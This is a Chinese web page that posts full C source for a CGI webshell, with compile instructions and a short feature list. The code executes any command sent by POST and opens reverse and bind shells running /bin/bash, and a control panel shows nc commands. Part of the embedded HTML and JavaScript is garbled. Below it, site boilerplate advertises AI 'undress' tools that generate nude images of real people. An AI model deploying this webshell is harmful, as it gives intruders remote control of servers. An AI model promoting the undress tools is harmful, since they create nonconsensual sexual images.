Linux C代码实现cgi shell
C语言实现cgi webshell
#include <stdio.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <signal.h> struct get_data { char key[100]; char value[100]; }; void exec_cmd(void){ printf("Content-type:text/html\n\n"); FILE *command; int size = atoi(getenv("CONTENT_LENGTH")); if(size > 1500) { printf("Error> Post Data is very big"); exit(0); } char *buffer = malloc(size+1); fread(buffer,1,size,stdin); command = popen(buffer,"r"); char caracter; while((caracter = fgetc(command))){ if(caracter == EOF) break; printf("%c",caracter); } pclose(command); free(buffer); exit(0); } int error(char *err){ perror(err); exit(EXIT_FAILURE); } void parser_get(void){ printf("Content-type:text/html\n\n"); struct get_data *s; char *GET = (char *)getenv("QUERY_STRING"); int i,number_of_get = 0,size_get = strlen(GET); if(strlen(GET) > 100) exit(0); s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data)); int element = 0; int positionA = 0; int positionB = 0; int id = 0; for(i=0;i<size_get;i++){ if(GET[i] == '='){ id = 1; s[element].key[positionA] = '\0'; positionB = 0; continue; } if(GET[i] == '&'){ id = 0; s[element].key[positionA] = '\0'; s[element].value[positionB] = '\0'; positionA = 0; positionB = 0; element++; continue; } if(id==0){ s[element].key[positionA] = GET[i]; positionA++; } if(id==1){ s[element].value[positionB] = GET[i]; positionB++; } if(i == size_get-1 && GET[size_get-1] != '&'){ s[element].key[positionA] = '\0'; s[element].value[positionB] = '\0'; element++; continue; } } char *host_x = (char *)malloc(100); host_x = NULL; char *type_x = (char *)malloc(100); type_x = NULL; int port_x = 0; for(i=0;i<element;i++){ if(strcmp(s[i].key,"type")==0) type_x = s[i].value; else if(strcmp(s[i].key,"host")==0) host_x = s[i].value; else if(strcmp(s[i].key,"port")==0) port_x = atoi(s[i].value); } free(s); if(type_x == NULL){ free(type_x); free(host_x); exit(0); } if( (strcmp(type_x,"")==0) || port_x <= 0 || port_x > 65535){ printf("Something is wrong ... !!!"); free(type_x); free(host_x); exit(0); } if((strcmp(type_x,"reverse")==0) && (strcmp(host_x,"")==0)){ printf("You must specify a target host ..."); free(type_x); free(host_x); exit(0); } if(strcmp(type_x,"reverse") == 0){ struct sockaddr_in addr; int msocket; msocket = socket(AF_INET,SOCK_STREAM,0); if(msocket < 0){ printf("<font color='red'>Fail to create socket</font>"); free(host_x); free(type_x); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(port_x); addr.sin_addr.s_addr = inet_addr(host_x); memset(&addr.sin_zero,0,sizeof(addr.sin_zero)); if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){ printf("<font color='red'>Fail to connect</font>\n"); free(host_x); free(type_x); exit(0); } printf("<font color='006600'>Connect with sucess !!!</font>\n"); if(fork() == 0){ close(0); close(1); close(2); dup2(msocket, 0); dup2(msocket, 1); dup2(msocket,2); execl("/bin/bash","bash","-i", (char *)0); close(msocket); exit(0); } free(host_x); free(type_x); exit(0); } else if (strcmp(type_x,"bind")==0) { int my_socket, cli_socket; struct sockaddr_in server_addr,cli_addr; if ((my_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1){ printf("<font color='red'>Fail to create socket</font>"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port_x); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); int optval = 1; setsockopt(my_socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval); if (bind(my_socket, (struct sockaddr *)&server_addr, sizeof(struct sockaddr))== -1){ printf("<font color='red'>Fail to bind</font>"); free(host_x); free(type_x); exit(1); } if (listen(my_socket, 1) < 0){ printf("<font color='red'>Fail to listen</font>"); free(host_x); free(type_x); exit(1); } else { printf("<font color='006600'>Listen on port %d</font>\n",port_x); } if(fork() == 0){ socklen_t tamanho = sizeof(struct sockaddr_in); if ((cli_socket = accept(my_socket, (struct sockaddr *)&cli_addr,&tamanho)) < 0){ exit(0); } close(0); close(1); close(2); dup2(cli_socket, 0); dup2(cli_socket, 1); dup2(cli_socket,2); execl("/bin/bash","bash","-i",(char *)0); close(cli_socket); } } free(host_x); free(type_x); exit(0); } void load_css_js(void){ printf("<style type=\"text/css\">\n\ #page-wrap {\n\ margin: 20px auto;\n\ width: 750px;\n\ }\n\ \n\ h1 {\n\ font-family: Impact, Charcoal, sans-serif;\n\ text-shadow: -1px 0 black, 0 1px black,\n\ 1px 0 black, 0 -1px black;\n\ color: gray;\n\ border: #00ff00;\n\ }\n\ \n\ body {\n\ background-color: white;\n\ }\n\ \n\ input[type=\"text\"] {\n\ margin-bottom: 10px;\n\ border: 1px solid gray;\n\ color: black;\n\ box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\ }\n\ \n\ hr {\n\ color: gray;\n\ }\n\ \n\ input[type=\"submit\"],input[type=\"button\"] {\n\ margin-bottom: 10px;\n\ border: 1px solid gray;\n\ box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\ }\n\ \n\ #bind_reverse {\n\ display:none;\n\ }\n\ \n\ label {\n\ position: relative;\n\ clear: left;\n\ float: left;\n\ width: 15em;\n\ margin-right: 5px;\n\ text-align: right;\n\ margin-top: 5px;\n\ }\n\ \n\ \n\ div.scroll {\n\ border: 1px solid gray;\n\ margin-bottom: 10px;\n\ color: black;\n\ font-family: Tahoma, sans-serif;\n\ padding: 5px;\n\ width: 745px;\n\ height: 295px;\n\ overflow: auto;\n\ box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\ }\n\ \n\ #cmd_rev {\n\ position: absolute;\n\ margin-left: 450px;\n\ top: 150px;\n\ width: 250px;\n\ overflow: auto;\n\ }\n\ \n\ #cmd_bin {\n\ position: absolute;\n\ margin-left: 450px;\n\ top: 300px;\n\ width: 250px;\n\ overflow: auto;\n\ }\n\ \n\ #rev_s {\n\ display:inline;\n\ }\n\ \n\ #bind_s {\n\ display:inline;\n\ }\n\ </style>\n\ \n\ <script type=\"text/javascript\">\n\ function exec_cmd(){\n\ var Rrequest = new XMLHttpRequest();\n\ var cmd_x = document.getElementById(\"xxx\");\n\ \n\ var result = document.getElementById(\"result\");\n\ \n\ if(cmd_x.value == '') return;\n\ if(cmd_x.value == 'clear' || cmd_x.value == 'reset') { result.innerHTML = ''; return; }\n\ var vv = cmd_x.value;\n\ \n\ vv = vv.replace(/</g,\"<\");\n\ vv = vv.replace(/>/g,\">\");\n\ \n\ result.innerHTML += \"<pre class="brush:php;toolbar:false"><b>\\$</b> \"+vv+\"
'+complete_cont+'
<b>error !</b>
nc -v -l \"+su.value+\"
nc -v \"+server_ip+\" \"+su.value+\"
C - CGI SHELL
C0d3r: <b>webshell</b> | <a id='change_link' href='javascript:load_bind()'>REVERSE/BIND</a>
\n\ \n\
<b>Reverse Connection: <div id='rev_s'><font color='red'>Stop</font></div></b>
<label>Host/IP:</label><input type=\"text\" id='host_rev'/>
<label>Port:</label><input type=\"text\" id='port_rev' onkeypress='return change_div(event,this);' onKeyUp='update_div(this,\"cmd_rev\");' />
\n\
<b>Bind Connection: <div id='bind_s'><font color='red'>Stop</font></div></b>
<label>Port To Listen:</label><input type=\"text\" id='port_bin' style=\"width:50px\" onkeypress='return change_div(event,this);' onKeyUp='update_div(this,\"cmd_bin\");'>
编译:
gcc shell.c -o shell.cgi
功能:
1.反弹获得shell(target作为客户端)
2.监听获得shell(target作为服务端)
3.命令行执行

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

JWT是一种基于JSON的开放标准,用于在各方之间安全地传输信息,主要用于身份验证和信息交换。1.JWT由Header、Payload和Signature三部分组成。2.JWT的工作原理包括生成JWT、验证JWT和解析Payload三个步骤。3.在PHP中使用JWT进行身份验证时,可以生成和验证JWT,并在高级用法中包含用户角色和权限信息。4.常见错误包括签名验证失败、令牌过期和Payload过大,调试技巧包括使用调试工具和日志记录。5.性能优化和最佳实践包括使用合适的签名算法、合理设置有效期、

会话劫持可以通过以下步骤实现:1.获取会话ID,2.使用会话ID,3.保持会话活跃。在PHP中防范会话劫持的方法包括:1.使用session_regenerate_id()函数重新生成会话ID,2.通过数据库存储会话数据,3.确保所有会话数据通过HTTPS传输。

SOLID原则在PHP开发中的应用包括:1.单一职责原则(SRP):每个类只负责一个功能。2.开闭原则(OCP):通过扩展而非修改实现变化。3.里氏替换原则(LSP):子类可替换基类而不影响程序正确性。4.接口隔离原则(ISP):使用细粒度接口避免依赖不使用的方法。5.依赖倒置原则(DIP):高低层次模块都依赖于抽象,通过依赖注入实现。

在PHPStorm中如何进行CLI模式的调试?在使用PHPStorm进行开发时,有时我们需要在命令行界面(CLI)模式下调试PHP�...

如何在系统重启后自动设置unixsocket的权限每次系统重启后,我们都需要执行以下命令来修改unixsocket的权限:sudo...

静态绑定(static::)在PHP中实现晚期静态绑定(LSB),允许在静态上下文中引用调用类而非定义类。1)解析过程在运行时进行,2)在继承关系中向上查找调用类,3)可能带来性能开销。

使用PHP的cURL库发送JSON数据在PHP开发中,经常需要与外部API进行交互,其中一种常见的方式是使用cURL库发送POST�...
